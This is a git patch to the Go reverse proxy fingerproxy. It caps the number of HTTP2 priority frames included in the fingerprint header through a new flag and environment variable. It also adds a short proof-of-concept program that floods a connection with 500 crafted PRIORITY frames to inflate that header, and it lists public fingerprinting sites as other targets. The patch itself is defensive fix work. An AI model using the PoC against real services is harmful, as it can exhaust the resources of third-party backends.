From 18aa1e5d6ed5675f79995d442d1b5a9977344873 Mon Sep 17 00:00:00 2001 From: wi1dcard Date: Wed, 27 Nov 2024 19:48:47 +0800 Subject: [PATCH] Initial fix. --- env.go | 13 +++ example/http2-fingerprint-dos-poc/main.go | 100 ++++++++++++++++++++++ fingerproxy.go | 22 +++-- flags.go | 7 ++ pkg/fingerprint/fingerprint.go | 10 ++- pkg/metadata/http2.go | 14 ++- 6 files changed, 153 insertions(+), 13 deletions(-) create mode 100644 example/http2-fingerprint-dos-poc/main.go diff --git a/env.go b/env.go index 8a0caa9..7f1ecbc 100644 --- a/env.go +++ b/env.go @@ -1,7 +1,9 @@ package fingerproxy import ( + "log" "os" + "strconv" "strings" ) @@ -12,6 +14,17 @@ func envWithDefault(key string, defaultVal string) string { return defaultVal } +func envWithDefaultUint(key string, defaultVal uint) uint { + if envVal, ok := os.LookupEnv(key); ok { + if ret, err := strconv.ParseUint(envVal, 10, 0); err == nil { + return uint(ret) + } else { + log.Fatalf("invalid environment variable $%s, expect uint, actual %s: %s", key, envVal, err) + } + } + return defaultVal +} + func envWithDefaultBool(key string, defaultVal bool) bool { if envVal, ok := os.LookupEnv(key); ok { if strings.ToLower(envVal) == "true" { diff --git a/example/http2-fingerprint-dos-poc/main.go b/example/http2-fingerprint-dos-poc/main.go new file mode 100644 index 0000000..a50d880 --- /dev/null +++ b/example/http2-fingerprint-dos-poc/main.go @@ -0,0 +1,100 @@ +package main + +import ( + "bufio" + "crypto/tls" + "io" + "log" + "net/http" + "net/http/httptrace" + "os" + "time" + + "github.com/wi1dcard/fingerproxy" + "golang.org/x/net/http2" +) + +/* +This program demonstrates how to craft a large HTTP2 fingerprint. + +The HTTP2 fingerprint format suggested by Akamai is: "S[;]|WU|P[,]#|PS[,]", where +all priority frames in HTTP2 request are recorded and shown in the third part. This +gives attackers a chance to manually create a request with many priority frames +and generate a large HTTP2 fingerprint. This program is to reproduce that. + +By design, Fingerproxy will send this large fingerprint through HTTP request headers +to downstream. That might cause the backend server run out of resource while +processing this large header. Therefore, a limit of max number of priority frames is +introduced. With Fingerproxy binary, you can set the limit in CLI flag "-max-h2-priority-frames". + +See below example. +*/ + +const numberOfPriorityFrames = 500 + +func main() { + // fingerproxy no limit, header is long: + // url := launchFingerproxy() + + // try with the limit: + url := launchFingerproxyWithPriorityFramesLimit() + + // reproducable with other http2 fingerprinting services: + // url := "https://tls.browserleaks.com/http2" + // url := "https://tls.peet.ws/api/clean" + + time.Sleep(1 * time.Second) + sendRequest(url) +} + +func launchFingerproxy() (url string) { + os.Args = []string{os.Args[0], "-listen-addr=localhost:8443", "-forward-url=https://httpbin.org"} + go fingerproxy.Run() + return "https://localhost:8443/headers" +} + +func launchFingerproxyWithPriorityFramesLimit() (url string) { + os.Args = []string{os.Args[0], "-listen-addr=localhost:8443", "-forward-url=https://httpbin.org", "-max-h2-priority-frames=20"} + go fingerproxy.Run() + return "https://localhost:8443/headers" +} + +func sendRequest(url string) { + req, _ := http.NewRequest("GET", url, nil) + + trace := &httptrace.ClientTrace{ + GotConn: gotConn, + } + req = req.WithContext(httptrace.WithClientTrace(req.Context(), trace)) + + c := &http.Client{ + Transport: &http2.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + } + + resp, err := c.Do(req) + + if err != nil { + log.Fatal(err) + } + + if b, err := io.ReadAll(resp.Body); err != nil { + log.Fatal(err) + } else { + log.Println(string(b)) + } +} + +func gotConn(info httptrace.GotConnInfo) { + bw := bufio.NewWriter(info.Conn) + br := bufio.NewReader(info.Conn) + fr := http2.NewFramer(bw, br) + for i := 1; i <= numberOfPriorityFrames; i++ { + err := fr.WritePriority(uint32(i), http2.PriorityParam{Weight: 110}) + if err != nil { + log.Fatal(err) + } + } + bw.Flush() +} diff --git a/fingerproxy.go b/fingerproxy.go index ed28567..6bd283c 100644 --- a/fingerproxy.go +++ b/fingerproxy.go @@ -5,6 +5,7 @@ import ( "crypto/tls" "errors" "log" + "math" "net/http" "net/http/httputil" "net/url" @@ -16,7 +17,7 @@ import ( "github.com/prometheus/client_golang/prometheus/promhttp" "github.com/wi1dcard/fingerproxy/pkg/certwatcher" "github.com/wi1dcard/fingerproxy/pkg/debug" - "github.com/wi1dcard/fingerproxy/pkg/fingerprint" + fp "github.com/wi1dcard/fingerproxy/pkg/fingerprint" "github.com/wi1dcard/fingerproxy/pkg/proxyserver" "github.com/wi1dcard/fingerproxy/pkg/reverseproxy" ) @@ -52,10 +53,17 @@ var ( // and Akamai HTTP2 fingerprints. Override [fingerproxy.GetHeaderInjectors] to replace // this to your own injectors. func DefaultHeaderInjectors() []reverseproxy.HeaderInjector { + h2fp := &fp.HTTP2FingerprintParam{} + if flagMaxHTTP2PriorityFrames == nil { // if CLI flags are not initialized + h2fp.MaxPriorityFrames = math.MaxUint + } else { + h2fp.MaxPriorityFrames = *flagMaxHTTP2PriorityFrames + } + return []reverseproxy.HeaderInjector{ - fingerprint.NewFingerprintHeaderInjector("X-JA3-Fingerprint", fingerprint.JA3Fingerprint), - fingerprint.NewFingerprintHeaderInjector("X-JA4-Fingerprint", fingerprint.JA4Fingerprint), - fingerprint.NewFingerprintHeaderInjector("X-HTTP2-Fingerprint", fingerprint.HTTP2Fingerprint), + fp.NewFingerprintHeaderInjector("X-JA3-Fingerprint", fp.JA3Fingerprint), + fp.NewFingerprintHeaderInjector("X-JA4-Fingerprint", fp.JA4Fingerprint), + fp.NewFingerprintHeaderInjector("X-HTTP2-Fingerprint", h2fp.HTTP2Fingerprint), } } @@ -129,9 +137,9 @@ func defaultTLSConfig(cw *certwatcher.CertWatcher) *tls.Config { } func initFingerprint() { - fingerprint.Logger = FingerprintLog - fingerprint.VerboseLogs = *flagVerboseLogs - fingerprint.RegisterDurationMetric(PrometheusRegistry, parseDurationMetricBuckets(), "") + fp.Logger = FingerprintLog + fp.VerboseLogs = *flagVerboseLogs + fp.RegisterDurationMetric(PrometheusRegistry, parseDurationMetricBuckets(), "") } // Run fingerproxy. To customize the fingerprinting algorithms, use "header injectors". diff --git a/flags.go b/flags.go index 00907d3..75f5df9 100644 --- a/flags.go +++ b/flags.go @@ -22,6 +22,7 @@ var ( // functionality flagPreserveHost *bool + flagMaxHTTP2PriorityFrames *uint flagEnableKubernetesProbe *bool flagReverseProxyFlushInterval *string @@ -76,6 +77,12 @@ func initFlags() { "Forward HTTP Host header from incoming requests to the backend, equivalent to $PRESERVE_HOST", ) + flagMaxHTTP2PriorityFrames = flag.Uint( + "max-h2-priority-frames", + envWithDefaultUint("MAX_H2_PRIORITY_FRAMES", 10000), + "Max number of HTTP2 priority frames, set this to avoid too large HTTP2 fingerprints", + ) + flagEnableKubernetesProbe = flag.Bool( "enable-kubernetes-probe", envWithDefaultBool("ENABLE_KUBERNETES_PROBE", true), diff --git a/pkg/fingerprint/fingerprint.go b/pkg/fingerprint/fingerprint.go index b771634..cdadf0e 100644 --- a/pkg/fingerprint/fingerprint.go +++ b/pkg/fingerprint/fingerprint.go @@ -55,11 +55,15 @@ func JA3Fingerprint(data *metadata.Metadata) (string, error) { return fp, nil } -// HTTP2Fingerprint is a FingerprintFunc, it output the Akamai HTTP2 fingerprint +type HTTP2FingerprintParam struct { + MaxPriorityFrames uint +} + +// HTTP2Fingerprint is a FingerprintFunc, it creates Akamai HTTP2 fingerprints // as the suggested format: S[;]|WU|P[,]#|PS[,] -func HTTP2Fingerprint(data *metadata.Metadata) (string, error) { +func (p *HTTP2FingerprintParam) HTTP2Fingerprint(data *metadata.Metadata) (string, error) { if data.ConnectionState.NegotiatedProtocol == "h2" { - fp := data.HTTP2Frames.String() + fp := data.HTTP2Frames.Marshal(p.MaxPriorityFrames) vlogf("http2 fingerprint: %s", fp) return fp, nil } diff --git a/pkg/metadata/http2.go b/pkg/metadata/http2.go index 057d178..32a5744 100644 --- a/pkg/metadata/http2.go +++ b/pkg/metadata/http2.go @@ -3,6 +3,7 @@ package metadata import ( "bytes" "fmt" + "math" ) // https://github.com/golang/net/blob/5a444b4f2fe893ea00f0376da46aa5376c3f3e28/http2/http2.go#L112-L119 @@ -39,8 +40,12 @@ type HTTP2FingerprintingFrames struct { Headers []HeaderField } -// TODO: add tests func (f *HTTP2FingerprintingFrames) String() string { + return f.Marshal(math.MaxUint) +} + +// TODO: add tests +func (f *HTTP2FingerprintingFrames) Marshal(maxPriorityFrames uint) string { var buf bytes.Buffer // SETTINGS frame @@ -60,11 +65,14 @@ func (f *HTTP2FingerprintingFrames) String() string { buf.WriteString(fmt.Sprintf("%02d|", f.WindowUpdateIncrement)) // PRIORITY frame - if len(f.Priorities) == 0 { + if l := len(f.Priorities); uint(l) < maxPriorityFrames { + maxPriorityFrames = uint(l) + } + if maxPriorityFrames == 0 { // If this feature does not exist, the value should be ‘0’. buf.WriteString("0|") } else { - for i, p := range f.Priorities { + for i, p := range f.Priorities[:maxPriorityFrames] { if i != 0 { // Multiple priority frames are concatenated by a comma (,). buf.WriteString(",")